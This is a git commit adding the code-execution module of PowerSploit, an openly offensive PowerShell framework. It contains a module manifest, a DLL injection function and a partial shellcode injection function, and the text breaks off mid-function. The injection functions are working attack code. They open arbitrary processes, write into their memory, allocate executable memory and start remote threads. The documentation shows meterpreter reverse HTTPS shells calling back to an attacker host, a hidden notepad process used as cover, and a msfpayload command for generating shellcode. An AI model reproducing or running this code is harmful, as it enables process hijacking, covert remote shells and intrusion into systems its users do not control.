Added 'CodeExecution' Module

* I unfortunately needed to change the names of Inject-Shellcode and
Inject-Dll to Invoke-Shellcode and Invoke-DllInjection in order to
confirm to proper verb naming.
This commit is contained in:
bitform 2013-01-20 21:34:37 -05:00
parent b3bbe03e93
commit a233d60908
5 changed files with 1142 additions and 0 deletions

View File

@ -0,0 +1,88 @@
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'CodeExecution.psm1'
# Version number of this module.
ModuleVersion = '1.0.0.0'
# ID used to uniquely identify this module
GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'
# Author of this module
Author = 'Matthew Graeber'
# Company or vendor of this module
CompanyName = ''
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
# Description of the functionality provided by this module
Description = 'PowerSploit Code Execution Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of the .NET Framework required by this module
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = ''
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module
FunctionsToExport = '*'
# Cmdlets to export from this module
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module
AliasesToExport = ''
# List of all modules packaged with this module.
ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'})
# List of all files packaged with this module
FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1',
'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
}

View File

@ -0,0 +1 @@
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}

View File

@ -0,0 +1,328 @@
function Invoke-DllInjection
{
<#
.SYNOPSIS
Injects a Dll into the process ID of your choosing.
PowerSploit Module - Invoke-DllInjection
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Invoke-DllInjection injects a Dll into an arbitrary process.
.PARAMETER ProcessID
Process ID of the process you want to inject a Dll into.
.PARAMETER Dll
Name of the dll to inject. This can be an absolute or relative path.
.EXAMPLE
C:\PS> Invoke-DllInjection -ProcessID 4274 -Dll evil.dll
Description
-----------
Inject 'evil.dll' into process ID 4274.
.NOTES
Use the '-Verbose' option to print detailed information.
.LINK
http://www.exploit-monday.com
#>
Param (
[Parameter( Position = 0, Mandatory = $True )]
[Int]
$ProcessID,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Dll
)
# Confirm that the process you want to inject into exists
try
{
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
}
catch [System.Management.Automation.ActionPreferenceStopException]
{
Throw "Process does not exist!"
}
# Confirm that the path to the dll exists
try
{
$Dll = (Resolve-Path $Dll -ErrorAction Stop).Path
Write-Verbose "Full path to Dll: $Dll"
$AsciiEncoder = New-Object System.Text.ASCIIEncoding
# Save the name of the dll in an ascii-encoded format. This name will be injected into the remote process.
$DllByteArray = $AsciiEncoder.GetBytes($Dll)
}
catch [System.Management.Automation.ActionPreferenceStopException]
{
Throw "Invalid Dll path!"
}
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
function Local:Get-PEArchitecture
{
Param
(
[Parameter( Position = 0,
Mandatory = $True )]
[String]
$Path
)
# Parse PE header to see if binary was compiled 32 or 64-bit
$FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
[Byte[]] $MZHeader = New-Object Byte[](2)
$FileStream.Read($MZHeader,0,2) | Out-Null
$Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
if ($Header -ne 'MZ')
{
$FileStream.Close()
Throw 'Invalid PE header.'
}
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
$FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $lfanew = New-Object Byte[](4)
# Read offset to the PE Header (will be read in reverse)
$FileStream.Read($lfanew,0,4) | Out-Null
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
$FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
# Read compiled architecture
$FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '')
$FileStream.Close()
if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
{
Throw 'Invalid PE header or unsupported architecture.'
}
if ($Architecture -eq '014C')
{
Write-Output 'X86'
}
elseif ($Architecture -eq '8664')
{
Write-Output 'X64'
}
else
{
Write-Output 'OTHER'
}
}
# Get addresses of and declare delegates for essential Win32 functions.
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
$VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32]) ([Bool])
$VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
# Assume CPU to be 64-bit unless determined otherwise.
$64bitCPU = $True
# Determine the bitness of the running PowerShell process based upon the size of the IntPtr type.
if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $True
}
else
{
$PowerShell32bit = $False
}
# The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null.
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
if ($IsWow64ProcessAddr)
{
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
}
else
{
# IsWow64Process does not exist and thus, the CPU is not 64-bit.
$64bitCPU = $False
}
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess)
{
THrow 'Unable to open process handle.'
}
$Architecture = Get-PEArchitecture $Dll
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
{
if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') )
{
Throw 'Only x86 or AMD64 architechtures supported.'
}
# Determine is the process specified is 32 or 64 bit. Assume that it is 64-bit unless determined otherwise.
$IsWow64 = $False
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ( $PowerShell32bit -and ($Architecture -eq 'X64') )
{
Throw 'You cannot manipulate 64-bit code within 32-bit PowerShell. Open the 64-bit version and try again.'
}
if ( (!$IsWow64) -and ($Architecture -eq 'X86') )
{
Throw 'You cannot inject a 32-bit DLL into a 64-bit process.'
}
if ( $IsWow64 -and ($Architecture -eq 'X64') )
{
Throw 'You cannot inject a 64-bit DLL into a 32-bit process.'
}
}
else
{
if ($Architecture -ne 'X86')
{
Throw 'PE file was not compiled for x86.'
}
}
# Get address of LoadLibraryA function
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
Write-Verbose "LoadLibrary address: 0x$($LoadLibraryAddr.ToString("X$([IntPtr]::Size*2)"))"
# Reserve and commit memory to hold name of dll
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW)
if ($RemoteMemAddr -eq [IntPtr]::Zero)
{
Throw 'Unable to allocate memory in remote process.'
}
Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
# Write the name of the dll to the remote process address space
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $DllByteArray, $Dll.Length, [Ref] 0) | Out-Null
Write-Verbose "Dll path written sucessfully."
# Execute dll as a remote thread
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $LoadLibraryAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw 'Unable to launch remote thread.'
}
$VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
# Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null
Write-Verbose 'Dll injection complete!'
# Extract just the filename from the provided path to the dll.
$FileName = Split-Path $Dll -Leaf
$DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) } | fl * | Out-String
if (!$DllInfo)
{
Throw "Dll did dot inject properly into the victim process."
}
Write-Verbose "Injected DLL information:$($DllInfo)"
}

View File

@ -0,0 +1,713 @@
function Invoke-Shellcode
{
<#
.SYNOPSIS
Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
PowerSploit Module - Invoke-Shellcode
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
.PARAMETER ProcessID
Process ID of the process you want to inject shellcode into.
.PARAMETER Shellcode
Specifies an optional shellcode passed in as a byte array
.PARAMETER ListMetasploitPayloads
Lists all of the available Metasploit payloads that Invoke-Shellcode supports
.PARAMETER Lhost
Specifies the IP address of the attack machine waiting to receive the reverse shell
.PARAMETER Lport
Specifies the port of the attack machine waiting to receive the reverse shell
.PARAMETER Payload
Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
.PARAMETER UserAgent
Optionally specifies the user agent to use when using meterpreter http or https payloads
.PARAMETER Force
Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
.EXAMPLE
C:\PS> Invoke-Shellcode -ProcessId 4274
Description
-----------
Inject shellcode into process ID 4274.
.EXAMPLE
C:\PS> Invoke-Shellcode
Description
-----------
Inject shellcode into the running instance of PowerShell.
.EXAMPLE
C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
C:\PS> $Proc = Get-Process notepad
C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
VERBOSE: Injecting shellcode into PID: 4004
VERBOSE: Injecting into a Wow64 process.
VERBOSE: Using 32-bit shellcode.
VERBOSE: Shellcode memory reserved at 0x03BE0000
VERBOSE: Emitting 32-bit assembly call stub.
VERBOSE: Thread call stub memory reserved at 0x001B0000
VERBOSE: Shellcode injection complete!
Description
-----------
Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options:
Payload options (windows/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.30.129 yes The local listener hostname
LPORT 443 yes The local listener port
.EXAMPLE
C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80
Description
-----------
Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options:
Payload options (windows/meterpreter/reverse_http):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST 192.168.30.129 yes The local listener hostname
LPORT 80 yes The local listener port
.EXAMPLE
C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
Description
-----------
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
.EXAMPLE
C:\PS> Invoke-Shellcode -ListMetasploitPayloads
Payloads
--------
windows/meterpreter/reverse_http
windows/meterpreter/reverse_https
.NOTES
Use the '-Verbose' option to print detailed information.
Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter
Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
.LINK
http://www.exploit-monday.com
#>
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
[ValidateNotNullOrEmpty()]
[UInt16]
$ProcessID,
[Parameter( ParameterSetName = 'RunLocal' )]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Shellcode,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateSet( 'windows/meterpreter/reverse_http',
'windows/meterpreter/reverse_https',
IgnoreCase = $True )]
[String]
$Payload = 'windows/meterpreter/reverse_http',
[Parameter( ParameterSetName = 'ListPayloads' )]
[Switch]
$ListMetasploitPayloads,
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateNotNullOrEmpty()]
[String]
$Lhost = '127.0.0.1',
[Parameter( Mandatory = $True,
ParameterSetName = 'Metasploit' )]
[ValidateRange( 1,65535 )]
[Int]
$Lport = 8443,
[Parameter( ParameterSetName = 'Metasploit' )]
[ValidateNotNull()]
[String]
$UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
[Switch]
$Force = $False
)
Set-StrictMode -Version 2.0
# List all available Metasploit payloads and exit the function
if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
{
$AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes |
Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
foreach ($Payload in $AvailablePayloads.ValidValues)
{
New-Object PSObject -Property @{ Payloads = $Payload }
}
Return
}
if ( $PSBoundParameters['ProcessID'] )
{
# Ensure a valid process ID was provided
# This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
}
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
# Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
{
$IntSizePtr = $Architecture / 8
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
{
$LittleEndianByteArray = New-Object Byte[](0)
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
[System.Array]::Reverse($LittleEndianByteArray)
Write-Output $LittleEndianByteArray
}
$CallStub = New-Object Byte[](0)
if ($IntSizePtr -eq 8)
{
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL RAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL RAX
}
else
{
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL EAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL EAX
}
Write-Output $CallStub
}
function Local:Inject-RemoteShellcode ([Int] $ProcessID)
{
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess)
{
Throw "Unable to open a process handle for PID: $ProcessID"
}
$IsWow64 = $false
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
{
# Determine is the process specified is 32 or 64 bit
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ((!$IsWow64) -and $PowerShell32bit)
{
Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
}
elseif ($IsWow64) # 32-bit Wow64 process
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Injecting into a Wow64 process.'
Write-Verbose 'Using 32-bit shellcode.'
}
else # 64-bit process
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
}
else # 32-bit CPU
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
# Reserve and commit enough memory in remote process to hold the shellcode
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteMemAddr)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode into the previously allocated memory
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($IsWow64)
{
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate inline assembly stub
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteStubAddr)
{
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
}
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
# Write 32-bit assembly stub to remote process memory space
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
# Execute shellcode as a remote thread
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch remote thread in PID: $ProcessID"
}
# Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null
Write-Verbose 'Shellcode injection complete!'
}
function Local:Inject-LocalShellcode
{
if ($PowerShell32bit) {
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
return
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
else
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
return
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
# Allocate RWX memory for the shellcode
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate RWX memory for the thread call stub
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$CallStubAddress)
{
Throw "Unable to allocate thread call stub."
}
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy call stub to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
# Launch shellcode in it's own thread
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch thread."
}
# Wait for shellcode thread to terminate
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
Write-Verbose 'Shellcode injection complete!'
}
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
if ($IsWow64ProcessAddr)
{
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
$64bitCPU = $true
}
else
{
$64bitCPU = $false
}
if ([IntPtr]::Size -eq 4)
{
$PowerShell32bit = $true
}
else
{
$PowerShell32bit = $false
}
if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
{
if (!$PowerShell32bit) {
# The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell
# Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function
# Pull out just the content of the this script's invocation. This is only accessible via a private field of the InvocationInfo object instance
